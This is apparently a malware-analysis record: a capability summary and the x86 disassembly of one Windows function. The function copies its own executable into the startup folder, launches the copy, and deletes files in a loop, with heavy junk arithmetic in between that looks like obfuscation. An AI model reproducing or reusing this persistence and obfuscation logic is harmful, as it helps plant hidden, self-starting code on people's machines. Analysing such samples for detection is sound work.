Function at 0x402cb0
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Get startup folder
Terminate process
Write file to startup folder

Disassembly:
sub esp, 0x35c
mov eax, dword [0x43f350]
mov dword [esp + 0x358], eax
push ebx
mov ebx, dword [str._r_____r____]
mov eax, 0x51e0e37b
imul ebx
sar edx, 0x15
mov ecx, edx
push ebp
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43e2c4]
push esi
mov esi, dword [0x43e2c0]
push edi
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
mov ebp, edx
mov edi, esi
imul edi, edi, 0x946b47
add edi, edx
mov edx, dword [0x43e2bc]
shr ebp, 0x1f
imul edx, edx, 0x753dc2
add ebp, edi
mov edi, dword [0x43e2c8]
mov eax, edi
imul eax, eax, 0x754f74
add ebp, eax
add ebp, edx
mov eax, 0x321c7f55
imul dword [0x43e2d0]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x65c6b7f9
imul ebx
sar edx, 0x13
mov ebx, dword [0x43e2cc]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul esi
imul esi, esi, 0x754f74
sar edx, 0x14
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
mov ebp, dword [0x43e2d0]
mov edx, ebx
imul edx, edx, 0x3493ae
add eax, edx
sub eax, ecx
sub eax, ebp
mov dword [0x43e2dc], eax
mov eax, 0x321c7f55
imul edi
mov ebp, edi
imul ebp, ebp, 0x28d92c
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d8]
add ebp, esi
sub ebp, eax
mov eax, edx
imul eax, eax, 0x643bbd
sub ebp, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
add ebp, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x9bcf58cb
imul edi
add edx, edi
sar edx, 0x15
mov esi, edx
add ebp, edx
mov eax, 0x76a10fbd
imul ebx
imul ebx, ebx, 0x330379
sar edx, 0x15
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebp
add esi, edx
add eax, esi
sub eax, ebx
sub eax, ecx
push 0x104
lea ecx, [esp + 0x26c]
push ecx
sub eax, 0x28d92c
push 0
mov dword [0x43e2d4], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x268]
push 0x5c
push edx
call fcn.00417660
mov esi, dword [0x43e2bc]
mov ebp, dword [0x43e2d8]
mov edi, eax
imul ebp, ebp, 0x28d92c
mov ecx, dword [0x43e2c8]
mov eax, 0x6445fc6d
imul ecx, ecx, 0x754f74
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov ebx, dword [0x43e2c0]
add ebp, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edx, ebx
imul edx, edx, 0x643bbd
mov eax, esi
imul eax, eax, 0x302f8a
sub ebp, edx
mov edx, dword [str._r_____r____]
add ebp, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 8
inc edi
sub ebp, eax
add ecx, ebx
imul esi, esi, 0x450e38
push 0
push 0x18
lea edx, [esp + 0x70]
add ecx, ebp
lea ecx, [esi + ecx + 0x450e38]
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push edx
push 0
mov dword [0x43e2cc], ecx
call esi
lea eax, [esp + 0x68]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402f00
sub eax, ecx
push edi
lea eax, [esp + eax + 0x6c]
push 0x432e38
push eax
call fcn.00416ca1
mov edx, dword [0x43e2c0]
mov ecx, dword [0x43e2d0]
mov ebx, dword [str._r_____r____]
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, ecx
imul ebp, ebp, 0x946b47
sub ebp, eax
mov eax, dword [0x43e2bc]
imul eax, eax, 0x753dc2
mov edx, ebx
imul edx, edx, 0x754f74
sub ebp, edx
add ebp, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x278a52fb
imul ebx
sar edx, 0x14
mov ebx, edx
sub ebp, ecx
mov ecx, dword [0x43e2c4]
add ebp, edx
mov edx, dword [0x43e2d8]
imul edx, edx, 0x3493ae
shr ebx, 0x1f
add ebx, ebp
add ebx, edx
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
add esp, 0xc
mov eax, edx
push 0
shr eax, 0x1f
add eax, edx
push 0x23
lea ecx, [esp + 0x170]
sub ebx, eax
push ecx
sub ebx, 0x643bbd
push 0
mov dword [0x43e2c4], ebx
call esi
lea eax, [esp + 0x168]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402fe8
sub eax, ecx
push edi
lea edx, [esp + eax + 0x16c]
push 0x432e38
push edx
call fcn.00416ca1
mov ecx, dword [0x43e2bc]
mov esi, dword [str._r_____r____]
mov edi, dword [0x43e2d8]
sub edi, esi
mov eax, ecx
imul edi, edi, 0x754f74
imul eax, eax, 0x28d92c
add edi, eax
mov esi, dword [0x43e2cc]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x302f8a
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul esi, esi, 0x3493ae
imul edx, edx, 0x643bbd
add edi, edx
add edi, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul ecx
mov ecx, dword [0x43e2d4]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov ebx, edx
add edi, edx
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add ebx, edi
add eax, edx
add ebx, esi
sub ebx, eax
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x278]
lea ecx, [ebx + ecx - 0x643bbd]
push eax
mov dword [0x43e2bc], ecx
call fcn.00416e50
add esp, 0x14
test eax, eax
je 0x403349
mov ecx, dword [0x43e2c8]
mov esi, ecx
imul esi, esi, 0x28d92c
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
mov ecx, dword [0x43e2c4]
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, 0x51bab243
imul ecx
imul ecx, ecx, 0x679728
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub esi, eax
add esi, edx
lea eax, [esi + ecx + 0x2fa80f]
push 0
lea ecx, [esp + 0x16c]
push ecx
lea edx, [esp + 0x270]
push edx
mov dword [0x43e2d8], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, dword [0x43e2bc]
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x51bcef
mov ebp, dword [str._r_____r____]
mov esi, ebx
imul esi, esi, 0x7565e
add esi, eax
mov eax, 0x321c7f55
imul dword [0x43e2c4]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebp
imul edx, edx, 0x1412258
mov ecx, dword [0x43e2cc]
sub esi, eax
add esi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edi, ecx
mov eax, 0x51e0e37b
imul edi, edi, 0x69275c
imul ebp
sar edx, 0x15
imul ecx, ecx, 0xa9e322
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea edx, [esi + edi - 0x3493ae]
mov dword [0x43e2d0], edx
mov eax, 0x321c7f55
imul dword [0x43e2d4]
mov eax, dword [0x43e2c0]
imul eax, eax, 0x643bbd
add ecx, eax
sar edx, 0x14
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x65c6b7f9
imul dword [0x43e2c8]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, ebx
imul ebx, ebx, 0x74bc7
imul edx, edx, 0x8d9c64
add ecx, edx
mov eax, 0x278a52fb
imul dword [0x43e2c4]
sar edx, 0x14
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x43e2c8]
mov edx, ecx
imul edx, edx, 0x450e38
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x51e0e37b
imul ecx
mov ecx, dword [esp + 0x10]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d0]
sub ecx, eax
sub ecx, esi
lea ecx, [ecx + ebp - 0x28d92c]
mov ebp, dword [0x43e2d8]
mov eax, edx
imul ebp, ebp, 0x754f74
imul eax, eax, 0x643bbd
add ebp, ebx
add ebp, eax
mov eax, 0x65c6b7f9
imul edx
mov dword [0x43e2c8], ecx
imul ecx, ecx, 0x679727
sar edx, 0x13
mov ebx, edx
add ebp, edx
shr ebx, 0x1f
add ebx, ebp
add ebx, ecx
mov ecx, dword [0x43e2dc]
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
sub ebx, esi
lea edx, [ebx + edi - 0x643bbd]
mov dword [esp + 0x14], 0x44
mov dword [esp + 0x40], 1
mov word [esp + 0x44], 0
mov dword [0x43e2c0], edx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x188]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call fcn.00417b0e
lea eax, [esp + 0x168]
push eax
lea ecx, [esp + 0x26c]
push ecx
call fcn.00416e50
add esp, 8
test eax, eax
je 0x403696
mov ecx, dword [0x43e2bc]
mov esi, dword [0x43e2c8]
mov ebx, dword [0x43e2d0]
mov edi, ecx
imul edi, edi, 0xa9d170
mov edx, esi
imul edx, edx, 0x754f74
add edi, edx
mov eax, 0x321c7f55
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x51bab243
imul dword [0x43e2d8]
sar edx, 0x15
mov ebp, edx
add edi, edx
shr ebp, 0x1f
add ebp, edi
mov edi, dword [0x43e2dc]
mov edx, edi
imul edx, edx, 0x643bbe
add ebp, edx
mov edx, dword [0x43e2d4]
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul dword [0x43e2d8]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x9bcf58cb
imul edi
add edx, edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add ebp, edx
lea edx, [eax + ebp - 0x247508]
mov dword [str._r_____r____], edx
xor edi, edi
jmp 0x403430
mov ecx, dword [0x43e2bc]
mov ebx, dword [0x43e2d0]
mov esi, dword [0x43e2c8]
lea ecx, [ecx]
mov edx, dword [0x43e2c4]
imul esi, esi, 0x754f74
imul ecx, ecx, 0x753dc2
mov ebp, dword [0x43e2c0]
mov eax, 0x6445fc6d
imul ebp, ebp, 0x946b47
imul edx
sar edx, 0x14
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
add eax, esi
add eax, ecx
mov ebp, eax
mov ecx, dword [str._r_____r____]
mov eax, 0x321c7f55
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul dword [0x43e2c0]
sar edx, 0x14
mov esi, edx
add ebp, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x3493ae
shr esi, 0x1f
add esi, ebp
add esi, edx
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
lea ecx, [esp + 0x68]
push 0
sub esi, ebx
push ecx
mov dword [0x43e2dc], esi
call fcn.0041701d
mov ecx, dword [0x43e2c8]
add esp, 8
cmp eax, 0xffffffff
je 0x4035ed
mov edx, dword [0x43e2c0]
imul edx, edx, 0x754f74
mov esi, ecx
imul esi, esi, 0x28d92c
add esi, edx
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d8]
sub esi, eax
mov eax, edx
imul eax, eax, 0x643bbd
sub esi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
add esi, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x15
add esi, edx
mov ebx, edx
mov eax, 0x76a10fbd
imul ecx
imul ecx, ecx, 0x330379
sar edx, 0x15
shr ebx, 0x1f
add ebx, esi
mov esi, edx
add ebx, edx
mov edx, dword [str._r_____r____]
mov eax, 0x51e0e37b
imul edx
sar edx, 0x15
shr esi, 0x1f
mov eax, edx
add esi, ebx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
sub esi, 0x28d92c
mov dword [0x43e2d4], esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push 0x180
lea ecx, [esp + 0x6c]
push 0x8302
push ecx
call fcn.00420aa0
push eax
call fcn.0041a05a
add esp, 0x10
push 0x64
call esi
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc edi
cmp edi, 0xa
jl 0x40341b
jmp 0x403696
mov esi, dword [0x43e2bc]
imul ecx, ecx, 0x754f74
mov ebx, dword [0x43e2d8]
mov eax, 0x6445fc6d
imul ebx, ebx, 0x28d92c
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [0x43e2c0]
add ebx, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edx, edx, 0x643bbd
mov eax, esi
imul esi, esi, 0x450e38
imul eax, eax, 0x302f8a
sub ebx, edx
mov edx, dword [str._r_____r____]
add ebx, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, edi
sub ebx, eax
add ecx, ebx
lea ecx, [esi + ecx + 0x450e38]
mov dword [0x43e2cc], ecx
mov ecx, dword [esp + 0x368]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.00416fcd
add esp, 0x35c
ret